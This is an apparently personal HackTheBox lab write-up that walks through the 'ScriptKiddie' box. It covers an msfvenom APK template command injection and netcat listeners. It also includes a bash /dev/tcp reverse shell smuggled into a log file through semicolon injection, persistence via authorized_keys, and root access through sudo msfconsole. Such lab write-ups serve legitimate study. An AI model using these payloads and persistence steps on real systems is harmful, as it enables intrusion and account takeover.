One of my first boxes on HackTheBox, this is a little bit rough. Let’s dive in.
Starting off, a quick scan with nmap revealed SSH open at port 22 and a website running on port 5000. True to its name, the website exposes nmap, an MSFVenom payload generator and searchsploit. The MSFVenom payload generator allows selection of the Operating System, defining an LHOST address and, most importantly, allows uploading a “template file” for msfvenom to use.
Both nmap and searchsploit seem to be running straight from the command line and nothing interesting happens. The msfvenom payload generator says it generates a reverse shell, so let’s give it a spin. Operating Systems are either Windows, Linux or Android. Selecting Windows, entering some random LHOST and leaving the template file blank does indeed return a valid Windows reverse_shell_tcp. I gotta admit, at this point I have never used MSFVenom or Metasploit at all, but I was quite suspicious about the whole template file thing.
After some digging, I found this blog post, which details how template files are used in msfvenom. Generally speaking, providing a custom template file should allow for better endpoint evasion (most notably, AV) since Metasploit templates (or rather, payloads generated) are quite well known to endpoint defenses nowadays. Logically, the next step is to see if there’s an exploit for the exploit tool. And turns out: There is! Effectively, this allows us to create a crafted .APK file with a payload (naturally, a reverse shell of our own) which we then upload using the provided template file upload.
Time to generate our payload:
msfconsole msf > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection msf > set LHOST <LHOST_IP> msf > set LPORT <LHOST_PORT> msf > exploit
That should be enough to generate an .apk file in our home directory. Using
nc -lvp <LHOST_PORT>, we make sure to listen to our designated port before deploying the payload. Going back to the website, select ‘Android’ as the operating system (as otherwise our .apk will be rejected), enter a random LHOST and upload the previously crafted APK. After just a minute, netcat should tell you that someone has connected. We’re in (sorta)!
At this point, we have a temporary shell with which we can execute our common commands. Using the pre-installed python, we can upgrade to a “proper” shell using pty:
python3 -c 'import pty;pty.spawn("/bin/bash")'. Be aware that this will spawn a new process which can easily be detected by something like ps, but since stealth is not our concern here, we’ll be fine.
Once we have a “proper” shell, we can see that we landed in
/home/kid/html. Moving back to our home directory, we can immediately grab our first flag. That’s a pretty quick win!
Before we move on, it is important that we establish ourselves more permanently so we don’t rely on flimsy reverse shells. Again, since stealth is not a primary concern, a straightforward way is just to paste our own public SSH key into the authorized_keys file present for the user kid. Either generate a new key or use an existing one and append the public (id_rsa.pub) key to the authorized key file:
echo "<public_key>" >> /home/kid/.ssh/authorized_keys". In another terminal, connect via SSH to see if it works:
ssh -i /home/<user>/.ssh/id_rsa kid@<remote_ip>. Enter your defined passphrase and you’re in! (Quick note regarding HTB: If the box is restarted for any reason, you’ll have to re-do the process starting from Initial Exploitation, since everything is reset.)
I will be brutally honest with you here: I spent at least 3 hours just looking through all 11 pages of discussion about this box over at the HTB Forums. Everyone was going on about moving laterally and I could not, for the life of me, figure out what they were on about. So I went to work using things like LinPEAS just to get an idea of what there is to work with. I also checked running processes (which is how I saw a bazillion other python shells running, btw), but there was nothing of value. I did notice that there was a folder called
logs which a file called
hackers inside, which was executable but empty.
At that point, I noticed there’s a second user present inside
/home/. That user has a shell script which reads
/home/kid/logs/hackers if a new entry is added to said file.
Turns out that it simply reads all the lines and inserts them as arguments to an nmap call. But there’s a twist:
cut -d' ' -f3-. This tells the script to use a whitespace delimiter and start from the third field onwards. There is, however, no input validation at all. I’m pretty confident we can use this to plant a reverse shell, potentially netting us access to this new user. That’s what everyone meant by lateral movement!
To understand cut more effectively, imagine this string from
user:x:1000:1000:,,,:/home/user:/bin/bash. If you told cut to use a colon as a delimiter and to start from the sixth field onwards, like so:
cut -d':' -f6-, it would simply print out the following:
/home/user:/bin/bash. The other fields are discarded.
So how do we go about planting a reverse shell using bash? We consult more cheat sheets on Github, of course!
We can see it’s possible to use
/dev/tcp to open a connection to a remote port and host, which we can use to our advantage. Similar to Python, bash also has the option to execute a command. A basic call could look like this:
/bin/bash -c '/bin/bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1'. Since we are trying to plant it right inside some other calls, we will have to make sure to end the previous statement before and comment out the rest of the code after our call to
/bin/bash. Of course, previous statements can be ended by using a semicolon and a comment can be placed with a hash, making it a very simple adjustment:
;/bin/bash -c '/bin/bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1 #'. Notice that the hash is placed within the single quotes. This is to avoid an ambiguous redirect error that bash would otherwise give out; It doesn’t care about the last quote being commented out, since nothing else comes after the final command anyway.
cut -d' ' -f3-? Since we have two whitespaces before the “meat” of the call,
;/bin/bash -c will simply be cut out when executing as-is. However, it’s a simple fix: Just add two whitespaces before the semicolon and you are good to go. Make sure to listen to the RPORT that you set previously, again using
nc -lvp <RPORT>. You should now have a shell for the user
Using the flimsy reverse shell, I took a quick look around. There was nothing interesting in the users home directory (that I didn’t already know), but running
sudo --list revealed something interesting: The user can run
msfconsole as root without a password. If you didn’t know, msfconsole accepts a command to be executed while starting up using the flag
-x. Since we are impersonating root, we can read any file as if we were root during msfconsole startup. So, to grab the root flag, nothing more than executing
sudo msfconsole -x 'sudo cat /root/root.txt is required! Again, a very quick and obvious win at this stage.